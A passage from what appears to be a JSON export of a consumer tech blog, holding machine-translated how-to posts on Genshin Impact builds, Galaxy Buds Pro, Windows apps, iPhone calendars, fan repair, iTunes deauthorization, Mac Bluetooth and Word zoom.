both Core i9-9900K, which had previously raged in both frequency and core number. Overcoming the problem of selling price and scarcity level aside, this will be a very remarkable chip in the near future. Let's wait and see how manufacturers will apply Core i9-9990XE in their terrible products!\nAMD launched Zen 2 for the data center, the world's first x86 7nm CPU ncG1vNJzZmismaXArq3KnmWcp51kwKaxjK2fnmWSmruktMyaqaRln5t6tbTEZpyxrKKauqa42GapmqqVYravwMSlZJynopp6qoWYcnBpsJVisLHBjKilpbFdlsKkwMiopZ6cXam8brvEpg%3D%3D\n","link":"/post/see-the-benchmark-of-the-extremely-rare-intel-core-i9-9990xe-cpu-only-auctioned-to-oem/","section":"post","tags":null,"title":"See the benchmark of the extremely rare Intel Core i9-9990XE CPU, only auctioned to OEM"},{"body":"Besides, each character has a unique way of building to achieve the best combat efficiency. Let's explore the most effective tips to build the Genshin Impact character.\n  Genshin Impact's character building rules Each character in Genshin Impact has a different build, but there are some rules that are common to all. Here are the top ground rules on how to make characters stronger in Genshin Impact.\nKnow your character's role Being aware of the best roles of the characters is very important to choose the best weapons and artifacts for them. For example, focus on DPS characters and equip the best weapons and artifacts. Besides, players should enhance weapons and artifacts to increase their effects.\nLearn the elements of the character   Players should understand their character elements well to be able to choose the best artifact with the right effects. For example, Crimson Witch of Flames, Tenacity of the Millelith, and Gladiator's Finale are the best artifact choices for Pyro characters, such as Hu Tao, Diluc, Klee, etc.\nUpgrade to level 90 Try to upgrade your character to level 90 early. Everyone needs to gather enough leveling materials and as many experience books as possible. The higher the character's level, the more experience books are needed.\nUpgrading to 90 will require hundreds of Hero's Wit books. Try to get them from quest rewards, Battle Pass rewards and buy at Realm Depot in Serenitea Pot.\nGet 4 or 5 star items   Get 4-5 star items and weapons from domains and wish banners. Players need to defeat very dangerous bosses in high level domains to get 4-5 star items.\nCraft 4-star weapons with White Iron Chunks, Crystal Chunks, a weapon cast, and Mora in the Forging System. The 5-star item is only available in the Wish Banner and must use Intertwined Fates and try your luck.\nFollow these rules to make the characters the most powerful. They can then contribute more damage in teamfights and take down opponents quickly.\nRules of team building in Genshin Impact After building every character in Genshin Impact, choose 2-4 characters to build your team in co-op or single player mode. Here are the rules for team building in Genshin Impact.\nDPS . Role   Choose DPS characters based on boss domain and abilities, elemental resistance, weakness, strength, and anti-element rule. For example, choose Hu Tao or Diluc as DPS against Cryo bosses, such as Cryo Hypostasis and Cryo Regisvine.\nIf you have to clear an area of ​​water with small boss waves, you can choose Electro DPS. Also, people should choose 5 star characters for DPS roles.\nSecondary DPS role   When choosing secondary DPS characters, consider elemental reactions and resonances. Combine with elements of DPS to give enemies the deadliest attack with powerful response.\nFor example, after applying an electric shock to an enemy with Fischl, switch to Diluc and use powerful fire slashes along with the attribute skill of and explosion to cause Overload reactions.\nSupport and healing characters   Depending on the target and the enemy, the player can make the decision whether to choose a support character, a healer, or both. Barbara is the best healer in Genshin Impact now. Xingqiu is the best support with big attack bonus.\nIn addition, choose a Geo supporter when fighting a powerful boss with physical attacks, such as Geovishap Hatchling and Geovishap.\nCombat Range Another rule for choosing a team character is to consider the combat range. If the boss can fly, choose at least one archer and one catalyst character (e.g. Eye of Storm flies for half a match). Therefore, the player should choose an archer to continue to deal damage when it is not on the ground. If fighting the Regisvine boss, recruit melee characters to attack the core and take them down quickly.\nThe lineup to use in Genshin Impact From the basic rules for team building in Genshin Impact, everyone can choose the best characters for the battle. Alternatively, choose other characters with similar elements, weapons, and features if no suggested character is available.\nTake a look at the top Genshin Impact lineups suggested below with each team needing a DPS character or two, consisting of a primary DPS and a secondary DPS.\nCyro DPS . lineup  DPS Extra DPS Support/Heal   Ganyu Tartaglia + Kazuha Zhongli   Ayaka Klee + Kazuha Zhongli   Eula + Raiden Zhongli Bennett   Rosaria + Fischl Xinyan Bennett   Pyro DPS . lineup    DPS Extra DPS Support/Heal   Hu Tao + Ganyu Xingqiu Zhongli   Diluc Xingqiu + Chongyun Bennett   Klee Mona + Sucrose Diona   Xinyan Albedo + Zhongli Bennett   Xiangling Raiden Shogun + Xingqiu Bennett   Yoimiya Ganyu + Kaedehara Kazuha Diona   Electro DPS . lineup  DPS Extra DPS Support/Heal   Razor Xingqiu + Rosaria Diona   Keqing Ganyu + Rosaria Bennett   Raiden Shogun Kujou Sara + Kokomi Jean   Anemo DPS . Lineup    DPS Extra DPS Support/Heal   Xiao Albedo + Zhongli Barbara   Venti Jean + Klee Keqing   Venti Qiqi + Diluc Ningguang   Kazuha Fischl + Xingqiu Bennett   Hydro DPS . lineup  DPS Extra DPS Support/Heal   Tartaglia + Ganyu Albedo Zhongli   Sangonomiya Kokomi Kamisato Ayaka + Venti Rosaria   Geo DPS lineup  DPS Extra DPS Support/Heal   Noelle Traveler (Geo) + Kaeya Barbara   Ningguang Albedo + Zhongli Traveler (Geo)   Genshin Impact ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdl8KquMOipaBlk52us63CrZyrq12Wu6V5xaipppmknryvv4yipWaflaPAqbXNZqCmqJGYwQ%3D%3D\n","link":"/post/tips-for-building-characters-and-formations-in-genshin-impact/","section":"post","tags":null,"title":"Tips for building characters and formations in Genshin Impact"},{"body":"Buds Samsung Galaxy Pro \u0026nbsp;is the device\u0026nbsp; headset \u0026nbsp;top of\u0026nbsp; Samsung \u0026nbsp;with the most advanced features of a\u0026nbsp; headset True Wireless \u0026nbsp;can bring. 9 tips below will help you optimize the use of your Galaxy Buds Pro in the most effective way.\nWith the Samsung Wearable app\u0026nbsp; , not only\u0026nbsp; Samsung smartphone devices , but all other\u0026nbsp; Android phone \u0026nbsp;brands can connect to Galaxy Buds Pro extremely quickly and easily. When the phone has the Samsung Wearable app unlocked and the Samsung Galaxy Buds Pro headphones open nearby. The app will immediately ask if you want to connect the headset, you just need to agree and can use it immediately.\n  To check the battery life of the Galaxy Buds Pro, simply go to the Samsung Wearable app. The battery percentage of the headset will show immediately upon entering the application. However, you should make sure that the charging case needs to be open if you want to check its battery.\n  Samsung Galaxy Buds Pro designed touch feature for each earpiece. You can touch the headset as follows:\nTouch 1 time to stop / start music playback. Double-tap to play the next track or stop the call. Tap 3 times to listen to the previous song again. Touch and hold to reject the call or custom feature. Samsung Wearable offers custom touch and hold for each earpiece for user flexibility: Go to Touch and hold\u0026gt; Customize options for each ear depending on your needs.\n ​\nYou go to the Samsung Wearable app, choose the level of noise cancellation High (High) or Low (Low) depending on the need.\n  In the Samsung Wearable app\u0026gt; Turn on Voice detect. With this feature, when you talk, the Buds Pro headphones will detect and pause active noise cancellation until the talk ends for 10 seconds.\n  Go to the Samsung Wearable app\u0026gt; Advanced\u0026gt; Turn on the Seamless earbud connection. Once enabled, the Buds Pro headphones will automatically convert the sound according to the device you use in the ecosystem.\nFor example, if you are watching a movie on your Samsung phone, then turn off your phone and turn on your tablet to watch another movie, the headphones will automatically switch from your\u0026nbsp; phone \u0026nbsp;to\u0026nbsp; the tablet \u0026nbsp;without you needing to reconnect.\n  If you want to connect Buds Pro to another device like a\u0026nbsp; laptop \u0026nbsp;or a\u0026nbsp; desktop computer , . then follow these steps:\n- Step 1: Take the two ear cups out of the box and wear\u0026gt; Press and hold each side for 3 seconds until you hear 'Beep' sound\n- Step 2: Go to the Bluetooth of the device to be connected\u0026gt; pair with Buds Pro.\nYou can check out the connection instructions on the Galaxy Buds Live to follow the same.\n  If an update is available, the Samsung Wearable app will notify you to update it to ensure stability of your headset or to add new features.\nNote: When updating, keep the two headphones in the charging case and follow the instructions in the app.\n  The article has given some tips for using Samsung Galaxy Buds Pro. Hope you will have a really great user experience with this device!\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdqsCqusZmq6GdXaiurr%2FUp55mn5GhrrnFjJusnatdpb%2BweceemJ2rlak%3D\n","link":"/post/tips-for-using-the-samsung-galaxy-buds-pro-headset/","section":"post","tags":null,"title":"Tips for using the Samsung Galaxy Buds Pro headset"},{"body":"Let's take a look at 15 essential desktop applications that everyone should install right away, along with some alternatives.\nInternet Browser: Google Chrome It's no surprise that Google Chrome remains the top browser choice. It's super fast, includes add-ons like Google image search, and has an extensive library of Chrome extensions. Cross-platform sync allows users to open tabs on the desktop on the phone and vice versa.\n  Cloud storage: Google Drive Google Drive offers 15GB of free storage, shared across your Google account with Google Photos and Gmail.\nGoogle Drive offers apps for all platforms, so anyone can take their files anywhere. Sharing files with others is also very easy, and the service also works well with Google's productivity suite. Whether used for backups, as a cloud flash drive, or to set up folders to share with others, Google Drive is an essential app.\nStream music: Spotify There are many music streaming services on the market, but the essential choice for Windows 10 is Spotify. Without paying a fee, users can still listen to as much music as they want after a few short ads.\n  For those who don't want ads to disturb, the Spotify Premium plan is really useful. Spotify also has a dedicated Windows app, unlike some of its competitors. However, if the device being used is a different operating system, people can consider Apple Music or YouTube Music.\nOffice suite: LibreOffice Many people think that Microsoft Office is the only toolkit that allows working with documents, spreadsheets, presentations, . but that is not the case.\nLibreOffice is a great alternative, a completely free and powerful office suite that includes alternatives to Microsoft Word, Excel, PowerPoint, Access,. Once you get used to a few differences. Small in size compared to MS Office, people will really stick with LibreOffice.\nImage editing: Paint.NET Many people will think of Photoshop when editing images, but there are many more accessible free tools out there. Paint.NET is a must-have Windows application for image editing needs.\nIt's much more powerful than Microsoft Paint, but doesn't overwhelm users with tons of confusing tools. People can easily blur parts of images, automatically adjust photos to make them look better, and add text and shapes to photos with just a few clicks. Many plugins also allow users to extend its functionality.\nSecurity: Malwarebytes Anti-Malware Windows 10 includes Windows Defender, which is good enough antivirus for most computers. However, users should install a secondary security program. And Malwarebytes is a great choice. The free version allows anyone to scan their system for malware. In case a strong security solution is desired, the upgrade to Malwarebytes Premium is well worth it.\n  Media Player: VLC For offline video playback, nothing beats VLC Media Player, packed with features and capable of playing nearly any video and audio format. While it may not be used very often, given the popularity of video streaming platforms like Youtube, it's still a good idea to download VLC Media Player while setting up your PC.\nScreenshot: ShareX Taking screenshots on Windows is useful for everything from capturing funny moments to capturing important information. The Snipping Tool and Snip \u0026amp; Sketch apps only offer a basic set of features, and Share X is a great choice. With a multitude of capture methods, built-in editors, and other extra tools, ShareX has an impressive set of free features.\n  Compress and decompress files: 7-Zip Windows has basic support for simple compressed files, but sometimes users still need a more powerful tool. And 7-Zip is the gold standard for file compression and decompression applications. It's compact, installs in seconds, easy to use, yet includes many advanced features.\nThe only drawback of 7-Zip is that the interface is somewhat dated. If you don't like this, people can choose PeaZip - a similar tool with a nicer user interface.\nMessage: Rambox Rambox is the choice of the best messaging application on Windows. It allows users to add accounts from dozens of popular messaging services, including WhatsApp, Facebook Messenger, Skype, Telegram, GroupMe, Hangouts, Discord, and more.\n  The application simply adds a new tab for every service, allowing all chat groups to be updated with just one window. Rambox includes some extras that are more useful than opening these apps in the browser and easily closing all messaging apps.\nClipboard Manager: ClipClip The clipboard manager is an important application because it saves a lot of time. Instead of being able to keep only one entry on your PC's clipboard, the clipboard manager allows you to keep track of the last dozen or so entries the user has copied.\n  ClipClip is a great Windows 10 clipboard manager to use. In addition to logging what users copy, the application also allows pinning regular excerpts for easy access and creating folders like addresses, emails, .\nThe software also allows users to tweak keyboard shortcuts, turn off clipboard monitoring temporarily when needed, and choose what apps can ignore.\nPassword Manager: Bitwarden No one can remember all the tough passwords for all of their accounts. That's why a secure password manager like Bitwarden is needed. In addition to the desktop app, people will need to install the Bitwarden extension in their browser to easily autofill passwords.\nBackup: Backblaze Backing up your PC is essential so you don't lose all your documents, photos, and other files. Backblaze is a great solution to this problem. People won't have to worry about choosing what gets backed up, and there's also no limit to backup size. This is an easy to use tool to create local backups of your files.\n  While it's the only app on this list that doesn't have a free option, Backblaze's backup capabilities are well worth the money. If the user loses all his files, the app will pay for itself immediately.\nIf paying for Backblaze scares people away, give EaseUS Todo Backup Free a try. Compared to other free software, this is the most optimal application in backup.\nManaged Storage: TreeSize Free Everyone knows the hassle of running out of storage space. That is why one of the applications that should be installed on every Windows system is the disk analyzer.\nTreeSize Free is a simple way to find out what's taking up space on your computer. Just open it, tell the app which drives to scan, and it will sort all the folders on your PC based on capacity. People can then view the space-consuming files on the computer and delete or move them accordingly.\nScript writing: AutoHotkey If you are a frequent typist and want to bring more automation to your computer, then AutoHotkey is the software everyone needs to download. This is an open source tool that supports keyboard operations, through customizing user scripts with commands. Users can create text on the fly, enable autocorrect for typos, override certain keys, and create macros to perform certain actions in just a few keystrokes.\nWith AutoHotkey, working with everyone's documents will become faster and more convenient than ever. Although it is quite complex and can be difficult to use at first, when you dive into the depth and understand how AutoHotkey works, it will become a powerful, essential tool in the software suite for computer running Windows operating system.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpsZp2jqLKvwMiao2aZoKW5qq%2FAraCopqNirq%2BwjKymn6ynlr%2BmedahnKdlpai2r7OMsKCnnJ%2BswG6vzqanrqyVp8A%3D\n","link":"/post/top-15-essential-applications-and-software-when-using-windows-computers/","section":"post","tags":null,"title":"TOP 15 essential applications and software when using Windows computers"},{"body":"It's hard to decide which iPhone calendar application you should use. The App Store is full of options, each with its own advantages and disadvantages, and in some cases, designed for a different set of users.\nThat said, some iOS calendar apps stand out from other competitors. If you're curious, keep reading the following article to see which calendar apps are best for iPhone.\nWhere is the best calendar app for iPhone? 1. Fantastical 2 2. Timepage 3. Calendars 5 4. BusyCal 5. Google Calendar 6. Choiceworks Calendar 7. Things 3 8. Apple Calendar 1. Fantastical 2 For a long time, Fantastical 2 has kept the title as one of the best third-party calendar apps on iOS. Many people believe that this is the best calendar app for iPhone.\nThe real feature makes Fantastical 2 application shine is the ability to analyze natural language. As you type, the application uses visual clues to show how details will be filled in the event creation field. This feature makes creating new calendar entries faster than ever. The analytics feature also works when you create a prompt.\nAnother interesting feature is the date ticker. It gives you an overview, easy to understand about all your tasks. There is even an app sync utility with Today's iPhone view mode, Google Maps integration and voice support.\nFantastical 2 is also available as an iPad and Apple Watch application.\nDownload Fantastical 2 ($ 5 / 115,000 VND).\n2. Timepage The Italian manufacturer Moleskine is often associated with notebooks rather than smartphone applications, but its Timepage calendar application is very powerful.\nFirstly, Timepage looks great. Starting from a company known for 'quality' products, it is not surprising. If you value elegance, then this is the best iPhone calendar app on the list.\nThe most unique feature of the application is Heatmap. It puts the circles around the dates in your schedule. The more colorful the circle, the more busy your day.\nThere is also Siri integration, support for external calendar synchronization (with Google, Outlook, Exchange, Facebook, Yahoo and CalDAV utilities), as well as the Today View widget.\nYou can download the app for free, but it works by subscription model through in-app purchases. The price per month is $ 2 (VND 46,000) and one year is $ 12 (VND 276,000).\nDownload Timepage (Free trial, registration required).\n3. Calendars 5   Calendars 5 is one of Fantastical 2's biggest competitors.\nUsing this application is very interesting. Moving between different day, week, month and year view modes is also very simple, just swipe in a specific direction. Thus, you can zoom in and out seamlessly to quickly understand what you have planned.\nCalendars 5 has an integrated reminder feature. Its prompt will sync with iCloud Reminders, which means you get a consistent content list regardless of which application you use. It also lets you sync your Google Calendar with your iOS device without digging into other iOS settings.\nThe natural language analytics feature is supported, but it lacks the visual clarity as seen in Fantastical.\nDownload Calendar 5 ($ 7 / 161,000VND, in-app purchases available).\n4. BusyCal   BusyCal is another popular calendar application for iPhone. The company has created one of the best calendars for macOS and the iOS calendar app is a perfect companion.\nSome notable features of this application include customizable calendar view, integrated task list manager and support for third-party calendars like Google Calendar, Exchange, Office 365, Fruux, Yahoo, Kerio, etc.\nPeople who spend a lot of time moving will also like to use BusyCal. It automatically displays the travel time to upcoming meetings, supports integration with Google Maps and provides automatic meeting schedule.\nAnother outstanding feature of BusyCal is the ability to add tags (tags) to the schedule with text and colors. If you spend a lot of time on project management tasks, you may find this useful.\nThe natural language event creation feature is also available in BusyCal, but again, it's not as intuitive as Fantastical's approach.\nDownload BusyCal ($ 5 / 115,000 VND).\n5. Google Calendar As you know, Google Calendar can be added to iPhone by downloading the official application. Of course, this is great news for anyone who relies on the Google ecosystem to increase productivity every day. But Google Calendar is worth a try even if you are not an ordinary user.\nGoogle Calendar offers reminders, shared calendars, real-time event updates, automatic RSVP support, customized daily goals and smart scheduling. Check out the list of tools and tricks for Google Calendar for Google Calendar to learn more.\nDownload Google Calendar (Free).\n6. Choiceworks Calendar   What about the iPhone calendar for children? Children do not need all the fancy features that advanced users require. For this purpose, Choiceworks Calendar is probably the most appropriate option. This is a visual-based learning tool that helps young children grasp the concept of time passing.\nThere are many icons available for holidays, guests, doctor appointments, etc., but you can also add your own images for a customized experience.\nA daily countdown tool helps children get hold of how long it will take to events like birthdays and Christmas. Besides, Calendar Choiceworks also has notifications of pictures and sounds very attractive to children.\nDownload Calendar Choiceworks ($ 5 / 115,000 VND).\n7. Things 3   Things 3 is not a calendar application in the traditional sense. Instead, it is the best planning app for iPhone. If you're a calendar app user like a to-do list rather than a daily scheduling tool, Things 3 is worth considering.\nYou can use the application for everything from miscellaneous thoughts to time management. There is an integrated extension that lets you create events in Things from within other apps on your device and Siri is fully supported.\nDrag and drop capabilities are supported to easily rearrange your dates.\nDownload Things 3 ($ 10 / 230,000 VND).\n8. Apple Calendar And don't forget, your iPhone comes with Apple's own Calendar app. Apple Calendar is free to use and syncs with all your other Apple devices via iCloud.\nThe feature list of this application is not as big as some other applications that the article reviewed. But you can still use it to add Google Calendar to your iPhone, as well as import calendars from Microsoft Exchange, Yahoo and any service that supports CalDAV.\nHopefully, you will be able to find an iPhone calendar application that fits your needs among the options that the article suggests.\nTo summarize, advanced users should focus on Fantastical 2, Calendar 5 or BusyCal. The best calendar application is Timepage. Besides, the official applications of Apple and Google are always worth considering.\nBut if you can't find an app you like, don't worry too much. Reference: Top Vietnamese calendar application, see the best sound schedule for your phone to find some other new ideas.\nWish you can choose for yourself the right application!\nncG1vNJzZmismaXArq3KnmWcp51khW6uxKyrZpuRobKvsMCrZJqooKh6p7vRZqCpoJ%2Bjsg%3D%3D\n","link":"/post/8-best-calendar-apps-for-iphone/","section":"post","tags":null,"title":"8 best calendar apps for iPhone"},{"body":"After a long time of use, electric fans sometimes occur with some problems, failures that make the fan unable to continue using. In this article, we will list 8 common errors when using electric fans, so that users can find errors and fix these simple errors.\n1. The fan does not run when pressing the power button: The cause of this problem may be due to a malfunctioning power supply, an overloaded motor or a control valve. To fix this problem, you should first check the power supply, fuse, and control valve if it is properly opened or closed. Also, can check the voltage to see if it is suitable. After determining the exact cause can be overcome on the spot or taken to outside repair.\n  Readers can see some types of electric fans sold at META.vn online shopping channel under the link below: 2. Broken speed button: Long-lived buttons or switches are bottled and may be damaged so they cannot be clicked or rotated. The reason is that much friction in the process of use makes the metal part of the electrical relay worn, or long time rusted and dirty so it is difficult to power.\nTo fix the problem, use the WD40 lubricant bottle to spray into the grooves of the keys, buttons to clean copper rust and remove dirt, then push the buttons repeatedly until it is okay. If it is due to the metal where the relay is worn, only the new button can be replaced.\n  3. The function of the navigation is broken: The functions are mainly used in plastic so when used for a long time and using too much force, it is easy to slip or break. For this case, the only way is to check the greases on the inner gears and then buy the newly installed plastic case. If not, you can replace the utility kit. Contact the store for genuine purchases.\n  4. Impeller falls off the shaft: The impeller enters the fan motor with a spiral spindle. If used for a long time, friction on the rotating rotor can cause the shaft to be worn so that the rotor cannot be held when the rotation force is too large causing the wing to fall off the shaft.\nThis problem can only be solved completely by replacing the reel. However, this job requires skill, you should bring out to a professional shop outside to repair.\n  5. Fans with loud noise: If the fan is too loud, the cause may be due to friction between the rotating shaft and the brass of the machine causing the noise. To fix the problem, remove the motor and apply lubricating oil to the bearings and try again.\n  6. Overheating fan: This is a fairly common case, probably due to the use of a fan at maximum speed for a long time or because the fan motor is dry causing friction when turning too large, causing a thermal effect. .\nTo make the fan less hot, it should be noted that fans should not be used at full speed for a long time. Remove the fan motor and use lubricating oil for the engine.\n  7. The fan is shaken: Standing and fanless fans, too high, can be shaken after a period of use. The main reason is due to screw fasteners, loose joints or fans adjusted at altitudes are not suitable.\nThis error is easily solved by checking and screwing the screws or joints tightly, should not adjust the fan too high or run at maximum speed.\n  8. Slow rotation fan: A slow-running fan may be caused by dust, oil drying, damage to the bearing or variable resistance, causing the capacitor to fail. First try to use the hand to rotate the propeller to see if it is stuck, if it is stuck, clean the screw again, check the bearings to check the oil or replace the new ball if it is damaged. If it is still slow, try using a resistive device to test the resistance of the ear plug and motor, if the difference is too large, replace the new capacitor.\n  Above are some common errors encountered in electric fans when used for a long time. Readers can refer and then self-diagnose and fix themselves at home. If the problem is more complicated, we should bring the fan to reputable stores to repair the fan.\nRefer to the following articles: Instructions on how to diagnose Electrolux washing machine error codes Fix some common errors on Toshiba TV Instructions on how to increase processing speed for Smart TV Hope the above article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ksLC5zKilZqiipK%2BtscysZKKmXZq5pq%2FTq6CcZZaWu7R5wKebZqCfrHq1u4yfoLFlpJ2yrnnYqKyrq5Whsw%3D%3D\n","link":"/post/common-problems-in-electric-fans-and-how-to-fix-them-yourself/","section":"post","tags":null,"title":"Common problems in electric fans and how to fix them yourself"},{"body":" When you buy DRM-restricted music or Apps from the iTunes Store, you can only use the item on an authorized computer, iPod, iPhone or iPad. Apple limits you to 5 computers that can use an authorized item. This wikiHow teaches you how to...\nMethod 1of 2:\nDeauthorizing One Computer  Open iTunes, Apple Music, Apple TV, or Apple Books. If you're using the latest version of macOS, you'll need to deauthorize using Apple Music, Apple TV, or Apple Books. If you're using a PC or an earlier version of macOS, open iTunes.[1] If you no longer have access to the computer you want to deauthorize, you'll need to deauthorize all computers instead. See this method to learn how.   Click the Account menu. It's in the menu bar that runs along the top of your Mac's screen, or at the top of the iTunes app on your PC.\n  Select Authorizations on the menu. Another menu will expand.\n  Click Deauthorize This Computer. It's the second option. A log-in window will appear.\n  Enter your Apple ID and password to sign in. Once you're signed in, you'll see a confirmation window.\n  Click Deauthorize to confirm. This removes the current computer from your list of authorized computers.\n Method 2of 2:\nDeauthorizing All Computers  Open iTunes, Apple Music, Apple TV, or Apple Books. If you're using the latest version of macOS, you'll need to deauthorize using Apple Music, Apple TV, or Apple Books. If you're using a PC or an earlier version of macOS, open iTunes. This method is the only way to deauthorize computers that you no longer have access to. You can only perform this method once every 12 months.   Click the Account menu. It's in the menu bar that runs along the top of your Mac's screen, or at the top of the iTunes app on your PC.\n  Click View My Account on the menu. A login screen will appear.\n  Verify your Apple ID password to continue. Once your password is accepted, you'll see the Account Information page.\n  Click the Deauthorize All button. It's in the \"Apple ID Summary\" section, which is near the top of the page. You'll only see this button if you have authorized 2 or more computers.\n  Follow the on-screen instructions to confirm. After deauthorizing all computers, you'll need to manually reauthorize the ones you still want to use to play protected songs, read protected books, or watch protected shows.\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVlsK1tM6roLOdXZ7BtrrErA%3D%3D\n","link":"/post/how-to-deauthorize-itunes/","section":"post","tags":null,"title":"How to Deauthorize iTunes"},{"body":"Today, most people have at least one Bluetooth device. This handy short range communication standard allows connecting all kinds of devices with this capability together. This article will show you how to turn on Bluetooth on Mac.\nInstructions for using Bluetooth on devices Instructions for connecting two Macs together The software supports Bluetooth connection with the computer How to test Mac Bluetooth support All modern Mac computers have built-in Bluetooth support. You don't need to buy anything to use Bluetooth on your MacBook Pro, MacBook Air or iMac.\nJust follow the steps below to enable Bluetooth on the Mac. If you don't see the related Bluetooth options in System Preferences, you're probably using an old Mac without Bluetooth.\nIn this case, you need to buy an adapter to support Bluetooth for your computer. However, most of this adapter is designed for Windows, so be sure to buy the right type of macOS compatible.\nHow to turn on Bluetooth on a Mac Using Bluetooth on Mac is easy. To turn it on, open the Apple menu in the upper left corner of the screen and select System Preferences . In the results window, select Bluetooth .\n  On the left side of the Bluetooth control panel, you will see the Bluetooth icon with the status below. If you see Bluetooth: Off , click the Turn Bluetooth On button to activate it.\nYou should also check the Show Bluetooth box in the bar menu so that the Bluetooth icon appears at the top of the screen, making it easy to access Bluetooth without having to come here every time.\n  How to connect a Bluetooth device to a Mac Now Bluetooth is turned on and ready to connect to another device.\nBefore using the Bluetooth device with Mac for the first time, you need to pair it. If you've used Bluetooth on other devices before, you won't be far from the concept of discoverability . Because usually many Bluetooth devices appear in the same area, it is necessary to pair the device manually to ensure safety. And only when the device is detected (also known as pairing mode).\nPair new devices Specific instructions for this process depend on the device you want to pair.\nLike macOS, most other operating systems (including Windows 10, Android and iOS) are self-set to be detected when the Bluetooth option is opened. For devices such as keyboard, mouse, mic and Bluetooth headsets, etc. the exact method to access pairing mode depends on the device. You should check the user guide for details.\nWhen other devices are in pairing mode, you will see the name of the device that appears in Devices in the Mac's Bluetooth settings. Click on Connect next to the device you want to add.\n  For many Bluetooth devices, you need to confirm the appropriate PIN code is provided on both devices. Make sure your PIN is correct especially when you are in multiple devices. If you enter the PIN manually (usually on older devices), it can be 0000, 1111 or 1234.\n  So you have successfully connected your Mac and other devices via Bluetooth. When both devices are turned on and within each other's range (more than 9m) they will automatically connect.\nIn case, the device does not automatically connect, you can do it manually. In the Bluetooth settings panel (as well as the icon on the menu bar), you will see the previously paired devices displayed in Devices . Make sure the device is turned on, then double-click its name to connect. If not working, disconnect the first paired computer.\n  To delete the device, right-click it in the device list and select Remove so that the device is no longer automatically connected and you must pair it again if you want to use it later.\nLearn Bluetooth icon on Mac   If you have turned on the Bluetooth icon on the menu bar as mentioned earlier, you will see the Bluetooth logo there. Click on it to quickly turn on / off Bluetooth, connect the device or open the full options panel.\nBluetooth icon also changes to display information:\nA Bluetooth icon with only Bluetooth is turned on, but no device connects to the Mac. Icon with three horizontal dots on it indicates that Bluetooth is turned on and has one or more devices connected to the Mac. Gray icon means that the Bluetoot is turned off. If you see the icon with a low battery icon, that means at least one connected device is running out of battery. Finally, the icon with the zigzag line on which the Bluetooth indicator is not available. Please restart mac to fix this error. If not, remove all USB devices and reboot again. Turn on Bluetooth without a mouse or keyboard Many people use mouse and / or Bluetooth keyboards on Mac desktops. However, if suddenly Bluetooth is turned off, it can cause problems here, because you need these devices to access the Bluetooth menu.\nFortunately, for Macs without touchpads, macOS will not turn off Bluetooth unless you connect to a USB mouse. But in the case of an error, you can turn Bluetooth on again on your Mac with your mouse or keyboard.\nThe MacBook has an integrated keyboard and touchpad, but on the iMac you need to connect a USB keyboard or mouse to perform.\nTo turn on Bluetooth without a mouse, press Cmd + Space to open the Spotlight search. Search for Bluetooth File Exchange and press Return to launch the utility. After the application is launched, it will display a window indicating that Bluetooth has been turned off.\nPress Return again to turn on Bluetooth. If you need to open the Bluetooth control panel, open Spotlight again and type Bluetooth .\n  Without a keyboard, just use the mouse to access the Bluetooth icon on the menu bar or the System Preferences control panel.\nIf you don't have any USB device, try disabling all devices connected to the Mac except the power cord. Next turn off the machine using the back button. Make sure Bluetooth devices are charged and turned on, then restart the Mac. It will activate the Bluetooth setup wizard and connect to the device.\nAdvanced Bluetooth settings for Mac Some advanced Bluetooth settings can help when needed. Find the advanced settings in the Advanced button in the Bluetooth System Preferences panel.\n  The first two options make convenient pairing. As mentioned above, the Mac automatically opens the Bluetooth Setup control panel if the computer is turned on without the connected keyboard, mouse or trackpad so you can easily pair the Bluetooth device and connect it.\nTurn on the third option if you want a Bluetooth device to wake up your computer. When you turn it on, press a key on the keyboard or click the mouse button on the connected Bluetooth device to wake the computer from sleep mode.\nFix Bluetooth problems on Mac Meet Bluetooth problems on a Mac? One thing you should keep in mind is limiting the number of devices that are connected to the computer. If connecting with more than three or four devices at the same time, performance will decrease and other devices cannot be added. You should only pair frequently used devices.\nAnd Bluetooth also has a distance limit, usually around 9m but the accuracy depends on the device you use. Magnetic noise due to other wireless devices or obstructions also affects distance.\nIf the icon is not available in the menu bar or other problems when using Bluetooth on a Mac, the system may experience hardware problems.\nFix \"Bluetooth Not Available\" error on Mac Now you know how to turn on Bluetooth on your Mac and how to use it. In most cases, after pairing a device, it will work without problems. The convenience of using wireless devices and near-universal support makes Bluetooth an attractive gadget.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mmaWtlam8sMDHZqanZZ2WsA%3D%3D\n","link":"/post/how-to-turn-on-bluetooth-on-mac/","section":"post","tags":null,"title":"How to turn on Bluetooth on Mac"},{"body":"When we work in Word, zooming in and out will often be used to quickly view the entire contents of pages in Word. The way to zoom in and out of text in Windows is also very diverse and there are many different ways.\n  1. Zoom in manually. Step 1: You select the View tab on the toolbar and select the Zoom section .\n  Step 2: The Zoom window will appear, here you can set as follows:\nZoom according to the percentage available Zoom in to an arbitrary percentage Depending on the needs, you can choose Zoom according to available size or Zoom according to your own size.\nWhen choosing the size, you will see the preview below. Please zoom to fit the best.\nFinally click OK to complete the changes.\n  2. Zoom in, zoom out quickly on the toolbar The lower right corner of Word always has a resizing toolbar for you. In this toolbar you have 2 ways to change the zoom in / out differently.\nPress the - / + button: You will reduce / increase the size with 10% unit click   Click the point on the horizontal bar: You will reduce / increase the size as you need. (You can press and hold to drag to be more accurate).   3. Zoom in / out quickly with the mouse pointer You proceed to bring the mouse pointer to adjust bar to zoom in and out. After that, you proceed to drag the scroll wheel (middle mouse) up and down (up is up, down is down), the size of the text will be adjusted accordingly.\nUnit: Zoom in / out 8% with a mouse cursor.\n  4. Zoom in / out the text in Word with keyboard shortcuts. You press and hold the Ctrl key, then you proceed to drag the wheel (middle mouse) up and down (up is increased, down is decreased), the size of the text will be adjusted accordingly.\nUnit: Zoom in / out 10% with a mouse cursor.\n  In this article, Software Tips have sent you all the ways to enlarge, reduce the size of text in Word. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZrKfpLputc1mmKecXaTCtXnOn2Stnaipeqq6jLCmq5w%3D\n","link":"/post/how-to-zoom-in-and-out-of-text-in-word/","section":"post","tags":null,"title":"How to zoom in and out of text in Word"},{"body":"Although the phone is water resistant to IP (International Protection Marking) standards, when accidentally falling 